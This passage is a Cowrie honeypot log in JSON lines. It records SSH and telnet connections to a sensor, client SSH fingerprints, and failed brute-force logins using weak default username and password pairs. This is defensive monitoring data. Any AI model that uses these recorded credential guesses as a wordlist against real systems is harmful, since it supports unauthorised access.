{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:34.912488Z","src_ip":"27.119.7.6","session":"376e6eb184c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frontend","password":"password","message":"login attempt [frontend/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:35.675360Z","src_ip":"27.119.7.6","session":"376e6eb184c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:36.887404Z","src_ip":"27.119.7.6","session":"376e6eb184c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47168,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d360dbbf9a3","protocol":"ssh","message":"New connection: 195.178.110.218:47168 (159.203.135.109:22) [session: 4d360dbbf9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:45.078787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:45.083245Z","src_ip":"195.178.110.218","session":"4d360dbbf9a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:45.173081Z","src_ip":"195.178.110.218","session":"4d360dbbf9a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:45.411101Z","src_ip":"195.178.110.218","session":"4d360dbbf9a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:32:46.491990Z","src_ip":"195.178.110.218","session":"4d360dbbf9a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.91.200.244","src_port":49439,"dst_ip":"10.17.0.5","dst_port":23,"session":"82a346f3298b","protocol":"telnet","message":"New connection: 210.91.200.244:49439 (10.17.0.5:23) [session: 82a346f3298b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:33:23.049413Z"}
{"eventid":"cowrie.session.closed","duration":13.284470796585083,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:33:36.333678Z","src_ip":"210.91.200.244","session":"82a346f3298b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":58620,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff9313ad12de","protocol":"ssh","message":"New connection: 27.119.7.6:58620 (10.17.0.5:22) [session: ff9313ad12de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:34:35.269472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:34:35.274062Z","src_ip":"27.119.7.6","session":"ff9313ad12de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:34:35.472126Z","src_ip":"27.119.7.6","session":"ff9313ad12de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshtunnel","password":"sshtunnel@123456","message":"login attempt [sshtunnel/sshtunnel@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:34:36.299843Z","src_ip":"27.119.7.6","session":"ff9313ad12de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:34:37.488310Z","src_ip":"27.119.7.6","session":"ff9313ad12de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":49568,"dst_ip":"159.203.135.109","dst_port":22,"session":"553f04a646f8","protocol":"ssh","message":"New connection: 172.105.63.214:49568 (159.203.135.109:22) [session: 553f04a646f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:34:46.718534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:34:46.725502Z","src_ip":"172.105.63.214","session":"553f04a646f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:34:46.924790Z","src_ip":"172.105.63.214","session":"553f04a646f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"internet","password":"welcome","message":"login attempt [internet/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:34:47.325438Z","src_ip":"172.105.63.214","session":"553f04a646f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:34:48.526568Z","src_ip":"172.105.63.214","session":"553f04a646f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47446,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c53b77aac04","protocol":"ssh","message":"New connection: 195.178.110.218:47446 (159.203.135.109:22) [session: 9c53b77aac04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:35:28.613039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:35:28.616626Z","src_ip":"195.178.110.218","session":"9c53b77aac04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:35:28.695070Z","src_ip":"195.178.110.218","session":"9c53b77aac04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:35:28.933003Z","src_ip":"195.178.110.218","session":"9c53b77aac04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:35:30.015259Z","src_ip":"195.178.110.218","session":"9c53b77aac04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.148.49.82","src_port":57527,"dst_ip":"10.17.0.5","dst_port":22,"session":"20eeb7767acd","protocol":"ssh","message":"New connection: 119.148.49.82:57527 (10.17.0.5:22) [session: 20eeb7767acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:37:15.816201Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:37:16.079309Z","src_ip":"119.148.49.82","session":"20eeb7767acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52698,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ad45d2d7e8b","protocol":"ssh","message":"New connection: 195.178.110.218:52698 (159.203.135.109:22) [session: 4ad45d2d7e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:38:02.208771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:38:02.213750Z","src_ip":"195.178.110.218","session":"4ad45d2d7e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:38:02.289394Z","src_ip":"195.178.110.218","session":"4ad45d2d7e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:38:02.520045Z","src_ip":"195.178.110.218","session":"4ad45d2d7e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:38:03.602643Z","src_ip":"195.178.110.218","session":"4ad45d2d7e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":40712,"dst_ip":"10.17.0.5","dst_port":22,"session":"20d7e7904453","protocol":"ssh","message":"New connection: 138.128.241.222:40712 (10.17.0.5:22) [session: 20d7e7904453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:38:10.634739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:38:10.638630Z","src_ip":"138.128.241.222","session":"20d7e7904453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:38:10.711395Z","src_ip":"138.128.241.222","session":"20d7e7904453","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samuel","password":"123456","message":"login attempt [samuel/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:38:10.812640Z","src_ip":"138.128.241.222","session":"20d7e7904453","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:38:12.887341Z","src_ip":"138.128.241.222","session":"20d7e7904453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.162.229.42","src_port":54332,"dst_ip":"159.203.135.109","dst_port":22,"session":"de8ab5383af2","protocol":"ssh","message":"New connection: 61.162.229.42:54332 (159.203.135.109:22) [session: de8ab5383af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:39:52.355036Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:39:52.359820Z","src_ip":"61.162.229.42","session":"de8ab5383af2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35968,"dst_ip":"159.203.135.109","dst_port":22,"session":"045460eb1793","protocol":"ssh","message":"New connection: 195.178.110.218:35968 (159.203.135.109:22) [session: 045460eb1793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:40:35.602707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:40:35.606330Z","src_ip":"195.178.110.218","session":"045460eb1793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-s